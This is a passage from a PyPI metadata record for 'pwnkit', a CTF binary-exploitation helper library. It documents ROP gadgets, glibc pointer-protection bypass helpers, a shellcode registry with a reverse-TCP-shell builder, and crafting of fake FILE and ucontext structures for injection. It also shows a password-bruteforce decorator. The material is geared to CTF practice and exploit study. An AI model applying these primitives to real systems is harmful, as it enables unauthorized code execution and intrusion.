ggs['p_rsp_r']\np_rdx_rbx_r = ggs['p_rdx_rbx_r']\nleave_r = ggs['leave_r']\nret \t= ggs['ret']\nggs.dump()  # dump all gadgets to stdout\n```\n\nThe `dump()` method in the `ROPGadget` class allows us to validate gadget addresses dynamically at runtime:\n\n![dump](images/ROPGadgets_dump.jpg)\n\n#### Pointer Protection\n\nIn newer glibc versions, singly linked pointers (e.g., the `fd` pointers of tcache and fastbin chunks) are protected by Safe-Linking. The `SafeLinking` class can be used to perform the corresponding encrypt/decrypt operations:\n\n```py\n# e.g., after leaking heap_base for tcache\nslk = SafeLinking(heap_base)\nfd = 0x55deadbeef\nenc_fd = slk.encrypt(fd)\ndec_fd = slk.decrypt(enc_fd)\n\n# Verify\nassert fd == dec_fd\n```\n\nAnd the Pointer Guard mechanism applies to function pointers and C++ vtables, introducing per-process randomness to protect against direct overwrites. After leaking or overwriting the guard value, the `PointerGuard` class can be used to perform the required mangle/detangle operations:\n\n```py\nguard = 0xdeadbeef\t# leak it or overwrite it\npg = PointerGuard(guard)\nptr = 0xcafebabe\nenc_ptr = pg.mangle(ptr)\ndec_ptr = pg.demangle(enc_ptr)\n\n# Verify\nassert ptr == dec_ptr\n```\n\n#### Shellcode Generation\n\nThe `pwnkit` module also provides a shellcode generation framework. It comes with a built-in registry of ready-made payloads across architectures, along with flexible builders for crafting custom ones. Below are some examples of listing, retrieving, and constructing shellcode:\n\n```py\n# 1) List all built-in available shellcodes\nfor name in list_shellcodes():\n    print(\" -\", name)\n    \nprint(\"\")\n\n# 2) Retrieve by arch + name, default variant (min)\nsc = ShellcodeReigstry.get(\"amd64\", \"execve_bin_sh\")\nprint(f\"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes\")\nprint(hex_shellcode(sc.blob))   # output as hex\n\nprint(\"\")\n\nsc.dump()   # pretty dump\n\nprint(\"\")\n\n# 3) Retrieve explicit variant\nsc = ShellcodeReigstry.get(\"i386\", \"execve_bin_sh\", variant=33)\nprint(f\"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes\")\nprint(hex_shellcode(sc.blob))\n\nprint(\"\")\n\n# 4) Retrieve via composite key\nsc = ShellcodeReigstry.get(None, \"amd64:execveat_bin_sh:29\")\nprint(f\"[+] Got shellcode: {sc.name}\")\nprint(hex_shellcode(sc.blob))\n\nprint(\"\")\n\n# 5) Fuzzy lookup\nsc = ShellcodeReigstry.get(\"amd64\", \"ls_\")\nprint(f\"[+] Fuzzy match: {sc.name}\")\nprint(hex_shellcode(sc.blob))\n\nprint(\"\")\n\n# 6) Builder demo: reverse TCP shell (amd64)\nbuilder = ShellcodeBuilder(\"amd64\")\nrev = builder.build_reverse_tcp_shell(\"127.0.0.1\", 4444)\nprint(f\"[+] Built reverse TCP shell ({len(rev)} bytes)\")\nprint(hex_shellcode(rev))\n```\n\nExample output:\n\n![shellcode](images/shellcode.jpg)\n\n#### IO FILE Exploit\n\nThe `pwnkit` module also provides a helper for targeting glibc\u2019s internal `_IO_FILE_plus` structures. The `IOFilePlus` class allows us to conveniently craft fake FILE objects:\n\n```py\n# By default, it honors `context.bits` to decide architecture\n# e.g., we set Context(arch=\"amd64\")\nf = IOFilePlus()\n\n# Or, we can specify one\nf = IOFilePlus(\"i386\")\n```\n\nIterate fields of the FILE object:\n\n```py\nfor field in f.fields:\t# or f.iter_fileds()\n    print(field)\n```\n\nInspect its members offsets, names and sizes:\n\n![iofile_fields](images/iofile_fields.jpg)\n\nSet FILE members via names or aliases:\n\n```py\n# Use aliases\nf.flags      = 0xfbad1800\nf.write_base = 0x13370000\nf.write_ptr  = 0x13370040\nf.mode       = 0\nf.fileno     = 1\nf.chain      = 0xcafebabe\nf.vtable     = 0xdeadbeef\n\n# Also honors original glibc naming\nf._flags = 0xfbad1800\nf._IO_write_base = 0x13370000\n```\n\nWe can also use the built-in `set()` method:\n\n```py\n# Set field via name \nf.set('_lock', 0x41414141)\n\n# Set via a specific offset\nf.set(116, 0x42424242)\t# _flags2\n```\n\nInspect the resulting layout in a structured dump for debugging:\n\n```py\nf.dump()\n\n# Custom settings\nf.dump(\n    title = \"your title\",\n    only_nonzero = True,\t\t# default: False, so we also check Null slots\n    show_bytes = True,\t\t\t# default: True, \"byte\" column displayed\n    highlight_ptrs = True,\t\t# default: True, pointer members are highlighted\n    color = True,\t\t\t\t# default: True, turn off if you don't want colorful output\n)\n```\n\nDumping them in a pretty and readable format to screen:\n\n![iofile_dump](images/iofile_dump.jpg)\n\nUse the built-in `get()` method to retrieve a field value:\n\n```py\n# retrieve via name\nvtable = f.get(\"vtable\")\n\n# via offset\nvtable = f.get(0xd8)\n```\n\nCreate a snapshot:\n\n```py\nsnapshot = f.bytes\t# or: f.to_bytes()\n\n# Or use the `data` bytearray class member\nsnapshot2 = f.data\n\nprint(f\"[+] IO FILE snapshot in bytes:\\n{snapshot}\\n{snapshot2})\n```\n\n![iofile_bytes](images/iofile_bytes.jpg)\n\nCreate an `IOFilePlus` object by importing a snapshot:\n\n```py\nf2 = IOFilePlus.from_bytes(blob=snapshot, arch=\"amd64\")\n```\n\n> For example, we can dump an `IO_FILE_plus` structure data via pwndbg's `dump memory` command\n\nCreate a quick IO FILE struct template using the `load()` method:\n\n```py\nf = IOFilePlus(\"amd64\")\n\n# common fake _IO_FILE_plus for stdout-like layout\nff = {\n    # housekeeping\n    \"_flags\": 0xfbad0000,\t\t\t\t  # 0x00               \n\n    # readable window (no active read buffer)\n    \"_IO_read_ptr\":  0,                   # 0x08\n    \"_IO_read_end\":  0,                   # 0x10\n    \"_IO_read_base\": 0,                   # 0x18\n\n    # writable window\n    \"_IO_write_base\":0x404300,            # 0x20\n    \"_IO_write_ptr\": 0x404308,            # 0x28\n    \"_IO_write_end\": 0,                   # 0x30        \n\n    # backing buffer \n    \"_IO_buf_base\":  0,                   # 0x38\n    \"_IO_buf_end\":   0,                   # 0x40\n    \"_IO_save_base\": 0,                   # 0x48\n    \"_IO_backup_base\": 0,                 # 0x50\n    \"_IO_save_end\":  0,                   # 0x58\n\n    # linkage & housekeeping\n    \"_markers\":      0,                   # 0x60\n    \"_chain\":        0,                   # 0x68\n    \"_fileno\":       1,                   # 0x70\n    \"_flags2\":       0,                   # 0x74\n    \"_old_offset\":   0,                   # 0x78\n    \"_cur_column\":   0,                   # 0x80\n    \"_vtable_offset\":0,                   # 0x82\n    \"_shortbuf\":     0,                   # 0x83\n    \"_lock\":         0,                   # 0x88\n    \"_offset\":       0,                   # 0x90\n    \"_codecvt\":      0,                   # 0x98\n    \"_wide_data\":    0,                   # 0xa0\n    \"_freeres_list\": 0,                   # 0xa8\n    \"_freeres_buf\":  0,                   # 0xb0\n    \"__pad5\":        0,                   # 0xb8\n    \"_mode\":         0,                   # 0xc0\n    \"_unused2\":      0,                   # 0xc4\n\n    # pivot: fake vtable \n    \"vtable\":        0xdeadbeefcafebabe,  # 0xd8\n}\n\nf.load(ff, strict=True)\n\n# dump bytes for injection\nblob = f.bytes\n```\n\nOr use raw-offset template (1:1 with glibc layout):\n\n```py\nf = IOFilePlus(\"amd64\")\nf.load([\n    (0x00, 0xfbad0000),           # _flags (4)\n    (0x08, 0x404100),             # _IO_read_ptr\n    (0x10, 0x404200),             # _IO_read_end\n    (0x18, 0x0),                  # _IO_read_base\n    (0x20, 0x404300),             # _IO_write_base\n    (0x28, 0x404308),             # _IO_write_ptr\n    (0x30, 0x0),                  # _IO_write_end\n    (0x38, 0x0),                  # _IO_buf_base\n    (0x40, 0x0),                  # _IO_buf_end\n    (0x48, 0x0),                  # _IO_save_base\n    (0x50, 0x0),                  # _IO_backup_base\n    (0x58, 0x0),                  # _IO_save_end\n    (0x60, 0x0),                  # _markers\n    (0x68, 0x0),                  # _chain\n    (0x70, 0x1),                  # _fileno\n    (0x74, 0x0),                  # _flags2\n    (0x78, 0x0),                  # _old_offset\n    (0x80, 0x0),                  # _cur_column (2B)\n    (0x82, 0x0),                  # _vtable_offset (1B, signed)\n    (0x83, 0x0),                  # _shortbuf (1B)\n    (0x88, 0x0),                  # _lock\n    (0x90, 0x0),                  # _offset\n    (0x98, 0x0),                  # _codecvt\n    (0xa0, 0x0),                  # _wide_data\n    (0xa8, 0x0),                  # _freeres_list\n    (0xb0, 0x0),                  # _freeres_buf\n    (0xb8, 0x0),                  # __pad5 (4B)\n    (0xc0, 0x0),                  # _mode (4B)\n    (0xd8, 0xdeadbeefcafebabe),   # vtable\n], strict=True)\n```\n\n#### Ucontext Buffering\n\nWe are not here to discuss how to exploit with the `ucontext_t` buffer in glibc. This involves:\n\n```c\nextern int setcontext (const ucontext_t *__ucp)\n```\n\nUsually we leverage its runtime gadgets in `setcontext+61` ([example](https://4xura.com/binex/orw-open-read-write-pwn-a-sandbox-using-magic-gadgets/#toc-head-7)) or `setcontext+32` ([example](https://4xura.com/binex/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/#toc-head-22))\n\nUsing `pwnkit` we can quickly initiate a `ucontext_t` struct buffer:\n\n```py\nuc = UContext(\"amd64\")          # defaults to amd64 if context.bits==64 anyway\nprint(hex(uc.size))             # 0x3c8\n```\n\nSet a few GPRs + RIP/RSP (aliases or full names):\n\n```py\n# full dotted name (case sensitive)\nuc.set(\"uc_mcontext.gregs.RIP\", 0x4011d0)         \n\n# sugars (case sensitive)\nuc.set_reg(\"rdi\", 0x1337)\t    \t# set registers                     \nuc.set_stack(\t\t\t\t\t\t# set signal stack\n    sp    = 0x7fffffff0000,\n    size  = 0x1111,\n    flags = 0xdeadbeef\n)    \n\n# aliases (case insensitive)\nuc.set(\"RSP\", 0x7fffffff0000)\t\t# field name alias \nuc.rsi = 0x2222\t\t\t\t\t\t# property alias \n\n# same via bulk\nuc.load({\n    \"RAX\": 0, \"RBX\": 0, \"RCX\": 0, \"RDX\": 0,\n    # \"RSI\": 0x2222,\n    \"efl\": 0x202,                                 # (case insensitive)\n})\nuc.dump(only_nonzero=True)\n```\n\n![ucontext_set](images/ucontext_set.jpg)\n\nSet/unset signals (sigset_t @ 0x128, 128 bytes in x86_64):\n\n```py\n# block SIGALRM (14) + SIGINT (2)\nuc.set_sigmask_block([14, 2])\n\n# OR explicit by bytes\nraw_mask = b\"\\x00\" * 0x80\nuc.set(\"uc_sigmask[128]\", raw_mask)\n```\n\nFPU: fldenv pointer + MXCSR:\n\n```py\n# build a classic 28-byte FSAVE environment and place it somewhere in mem you control\nenv28 = fsave_env_28(fcw=0x037F)  # sane default\nfake_env_addr = 0x404000          # wherever your R/W buffer will live\n\n# write env28 there via your exploit (not shown); now point fpregs to it:\nuc.set_fpu_env_ptr(fake_env_addr)\n# or use alias\nuc.fldenv_ptr = fake_env_addr\n\n# set MXCSR inside the inline __fpregs_mem (FXSAVE blob inside ucontext)\nuc.mxcsr = 0x1F80\n# or explicitly:\nuc.set(\"__fpregs_mem.mxcsr\", 0x1F80)\n\nuc.dump()\n```\n\n![ucontext_fsave](images/ucontext_fsave.jpg)\n\nAbsolute offsets when you\u2019re speedrunning:\n\n```py\n# write RIP via absolute offset (0xA8 inside ucontext)\nuc.set(0xA8, 0xdeadbeefcafebabe)\n\n# patch arbitrary blob (raw write; no name resolution)\nuc.patch(0x1A8, (0x037F).to_bytes(2, \"little\"))  # fcw in __fpregs_mem\n```\n\nBulk load (dict or list of pairs):\n\n```py\nuc.load({\n    \"rdi\": 0xdeadbeef,\n    \"rsi\": 0xcafebabe,\n    \"rsp\": 0x7fffffeee000,\n    \"rip\": 0x4011d0,\n    \"mxcsr\": 0x1F80,\n})\n\n# or: list of [(field, value)] with mixed names/offsets\nuc.load([\n    (\"rbx\", 0),\n    (0x128, b\"\\x00\"*0x80),          # sigmask\n])\n```\n\nSerialize \u2192 payload glue:\n\n```py\npayload = b\"A\"*0x100\npayload += uc.bytes                # or uc.to_bytes()\n\n# drop into whatever vector you have (overwrite on stack, heap chunk, etc.)\n# e.g. send(payload) or write to file\n```\n\nParse from an existing blob (read\u2013modify\u2013write):\n\n```py\nblob = b\"\\x00\"*0x3C8\nuc2 = UContext.from_bytes(blob, arch=\"amd64\")\n```\n\nQuick template \u2014 instantiate `UContext` and feed it your dict straight into `.load()`:\n\n```py\nuc = UContext(\"amd64\")\n\nuc.load({\n    # gregs\n    \"R8\":  0,\t\t# 0x28\n    \"R9\":  0,\t\t# 0x30\n    \"R12\": 0,\t\t# 0x48\n    \"R13\": 0,\t\t# 0x50\n    \"R14\": 0,\t\t# 0x58\n    \"R15\": 0,\t\t# 0x60\n    \"RDI\": 0,\t\t# 0x68\n    \"RSI\": 0,\t\t# 0x70\n    \"RBP\": 0,\t\t# 0x78\n    \"RBX\": 0,\t\t# 0x80\n    \"RDX\": 0,\t\t# 0x88\n    \"RAX\": 0,\t\t# 0x90\n    \"RCX\": 0,\t\t# 0x98\n    \"RSP\": 0x7fffffff0000,\t# 0xA0\n    \"RIP\": 0xdeadbeef,     \t# 0xA8\n\n    # floating point stuff\n    \"FPREGS\": 0x404000,    \t# 0xB0: fldenv pointer\n    \"MXCSR\":  0x1F80,      \t# 0x1C0: default safe SSE state\n})\n\n# dump bytes for injection\nblob = uc.bytes   \n```\n\nOr if you prefer positional offset style:\n\n```py\nuc = UContext(\"amd64\")\nuc.load([\n    (0x28, 0),         # R8\n    (0x30, 0),         # R9\n    (0x48, 0),         # R12\n    (0x50, 0),         # R13\n    (0x58, 0),         # R14\n    (0x60, 0),         # R15\n    (0x68, 0),         # RDI\n    (0x70, 0),         # RSI\n    (0x78, 0),         # RBP\n    (0x80, 0),         # RBX\n    (0x88, 0),         # RDX\n    (0x90, 0),         # RAX\n    (0x98, 0),         # RCX\n    (0xA0, 0x7fffffff0000), # RSP\n    (0xA8, 0xdeadbeef),     # RIP\n    (0xE0, 0x404000),       # fpregs ptr\n    (0x1C0, 0x1F80),        # mxcsr\n])\nblob = uc.bytes\n```\n\n#### Function Decorators\n\nSee examples in [src/pwnkit/decors.py](https://github.com/4xura/pwnkit/blob/main/src/pwnkit/decors.py).\n\n##### Common function helpers\n\n```python\n# - Coerce funtion arguments with transformers\n#   e.g., for a heap exploitation menu I/O:\n@argx(by_name={\"n\":itoa})\ndef menu(n: int):\n    sla(b\"choice: \", opt)       # convert arg `n` to string bytes\n\n@argx(by_type={int:itoa})\ndef alloc(idx: int, sz: int, ctx: bytes): \n    menu(1)                     # convert 1 to b\"1\"\n    sla(b\"index: \", idx)        # convert integer arg `idx` to string bytes\n    sla(b\"size: \", sz)          # convert integer arg `sz` to string bytes\n    sla(b\"content: \", ctx)\t\t# this is not affected\n\n\n# - Print the fully-qualified function name and raw args/kwargs\n#   this can be helpful in fuzzing tasks, that we know when func is called\n@pr_call\ndef fuzz(x, y=2):\n\treturn x ** y\n\nfuzz(7, y=5)\t# call __main__.fuzz args=(7,) kwargs={'y': 5}\n\n\n# - Count how many times a function is called \n#   exposes .calls and .reset()\n@counter\ndef f(a, b): \n    print(f\"{a}+{b}={a+b}\")\n\nf(1,2)\t\t\t# Call 1 of f ... 1+2=3\nf(5,5)\t\t\t# Call 2 of f ... 5+5=10\nprint(f.calls)  # 2\nf.reset()\nprint(f.calls)  # 0\n\n\n# - Sleep before and after the call (seconds).\n@sleepx(before=0.10, after=0.10)\ndef poke():\n\t...\n\n@sleepx(before=0.2)\nasync def task():\n\n\n# - Print how long the call took (ms)\n@timer\ndef fuzz(x, y=2):\n\treturn x ** y\n\nfuzz(7, y=5)\t# __main__.fuzz took 0.001 ms\n\n...\n\n```\n##### Bruteforcer\n\nWhen we need brute forcing (TODO: improve this decorator!):\n\n```python\n# 1) Simple repeat n times (sequential)\n@bruteforcer(times=5)\ndef probe():\n    print(\"probing\")\n    return False\n\n# returns [False, False, False, False, False]\nres = probe()\n\n\n# 2) Pass attempt index to function (useful for permutations)\n@bruteforcer(times=3, pass_index=True)\ndef try_pin(i):\n    print(\"attempt\", i)\n\ntry_pin()\n# prints:\n# attempt 0\n# attempt 1\n# attempt 2\n\n\n# 3) Use a list of candidate inputs (typical bruteforce passwords)\ncandidates = [\"admin\", \"1234\", \"password\", \"letmein\"]\n\n# build inputs as iterable of (args, kwargs) pairs\ninputs = (( (pw,), {} ) for pw in candidates)\n\n@bruteforcer(inputs=inputs, until=lambda r: r is True)\ndef attempt_login(password):\n    # attempt_login returns True on success, False/None on failure\n    return fake_try_login(password)\n\nresult = attempt_login()\n# result will be True (stops early) or None if no candidate worked\n\n\n# 4) Parallel bruteforce (threads)\n@bruteforcer(inputs=((pw,) for pw in candidates), until=lambda r: r is True, parallel=8)\ndef attempt_login(password):\n    return fake_try_login(password)\n```\n\n#### Others\n\nMore modules are included in the `pwnkit` source, but some of them are currently for personal scripting conventions, or are under beta tests. You can add your own modules under `src/pwnkit`, then embed them into `src/pwnkit/__init__.py`. \n\nWhen we want module symbols to be parsed via code editors (e.g., vim, vscode) for auto grammar suggestion, we can run this to export symbols all-at-once:\n\n```bash\npython3 tools/gen_type_hints.py\n```\n\n---\n\n## Custom Templates\n\nTemplates (`*.tpl` or `*.py.tpl`) are rendered with a context dictionary.\nInside your template file you can use Python format placeholders (`{var}`) corresponding to:\n\n | Key           | Meaning                                                      |\n | ------------- | ------------------------------------------------------------ |\n | `{arch}`      | Architecture string (e.g. `\"amd64\"`, `\"i386\"`, `\"arm\"`, `\"aarch64\"`) |\n | `{os}`        | OS string (currently `\"linux\"` or `\"freebsd\"`)               |\n | `{endian}`    | Endianness (`\"little\"` or `\"big\"`)                           |\n | `{log}`       | Log level (e.g. `\"debug\"`, `\"info\"`)                         |\n | `{term}`      | Tuple of terminal program args (e.g. `(\"tmux\", \"splitw\", \"-h\")`) |\n | `{file_path}` | Path to target binary passed with `-f/--file`                |\n | `{libc_path}` | Path to libc passed with `-l/--libc`                         |\n | `{host}`      | Remote host (if set via `-i/--host`)                         |\n | `{port}`      | Remote port (if set via `-p/--port`)                         |\n | `{io_line}`   | Pre-rendered code line that initializes the `Tube`           |\n | `{author}`    | Author name from `-a/--author`                               |\n | `{blog}`      | Blog URL from `-b/--blog`                                    |\n\nUse your own custom template (`*.tpl` or `*.py.tpl`):\n```bash\npwnkit exp.py -t ./mytpl.py.tpl\n```\nOr put it in a directory and point `PWNKIT_TEMPLATES` to it:\n```bash\nexport PWNKIT_TEMPLATES=~/templates\npwnkit exploit.py -t mytpl\n```\nFor devs, you can also place your exploit templates (which is just a Python file of filename ending with `tpl` suffix) into [`src/pwnkit/templates`](https://github.com/4xura/pwnkit/tree/main/src/pwnkit/templates), before cloning and building to make a built-in. You are also welcome to submit a custom template there in this repo for a pull request!\n\n---\n\n## TODO\n\n* Move the template feature under mode `template`\n* Create other modes (when needed)\n* Fill up built-in exploit tempaltes\n* More Python exloit modules, e.g., decorators, heap exploit, etc.\n\n",
    "bugtrack_url": null,
    "license": "MIT License\n        \n        Copyright (c) 2025 Axura\n        \n        Permission is hereby granted, free of charge, to any person obtaining a copy\n        of this software and associated documentation files (the \"Software\"), to deal\n        in the Software without restriction, including without limitation the rights\n        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n        copies of the Software, and to permit persons to whom the Software is\n        furnished to do so, subject to the following conditions:\n        \n        The above copyright notice and this permission notice shall be included in all\n        copies or substantial portions of the Software.\n        \n        THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n        SOFTWARE.",
    "summary": "Axura's reusable pwn utilities, gadgets, debugging, shellcodes, templates",
    "version": "0.2.21",
    "project_urls": {
        "Changelog": "https://github.com/4xura/pwnkit/releases",
        "Homepage": "https://4xura.com",
        "Issues": "https://github.com/4xura/pwnkit/issues",
        "Repository": "https://github.com/4xura/pwnkit"
    },
    "split_keywords": [
        "ctf",
        " exploit",
        " heap",
        " pwn",
        " pwntools",
        " rop",
        " stack",
        " template"
    ],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "da42582da0285adcf84b02e2329dbea8b75d4ee3c8d83b7c85ab6ab3a779350d",
                "md5": "c44f3193914196917d32b68e7cd14f83",
                "sha256": "65f279621955b2ba0b34ca03c441694d43e72a572e0ff5a6e0434d3dab4e5bb1"
            },
            "downloads": -1,
            "filename": "pwnkit-0.2.21-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "c44f3193914196917d32b68e7cd14f83",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.8",
            "size": 66555,
            "upload_time": "2025-10-27T13:32:40",
            "upload_time_iso_8601": "2025-10-27T13:32:40.128506Z",
            "url": "https://files.pythonhosted.org/packages/da/42/582da0285adcf84b02e2329dbea8b75d4ee3c8d83b7c85ab6ab3a779350d/pwnkit-0.2.21-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "76d4b458a7905ff9a743f6933c522c65106a7136d42ac2dea916ae77f9db47b6",
                "md5": "f56d5556f5aad5da3c97b13710b534ef",
                "sha256": "7d42c6cdfac02eb8e9303bc655a0a786628d61b905ca4ea02258c17834552f58"
            },
            "downloads": -1,
            "filename": "pwnkit-0.2.21.tar.gz",
            "has_sig": false,
            "md5_digest": "f56d5556f5aad5da3c97b13710b534ef",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.8",
            "size": 63663,
            "upload_time": "2025-10-27T13:32:41",
            "upload_time_iso_8601": "2025-10-27T13:32:41.794713Z",
            "url": "https://files.pythonhosted.org/packages/76/d4/b458a7905ff9a743f6933c522c65106a7136d42ac2dea916ae77f9db47b6/pwnkit-0.2.21.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-10-27 13:32:41",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "4xura",
    "github_project": "pwnkit",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "lcname": "pwnkit"
}
        
Elapsed time: 2.31498s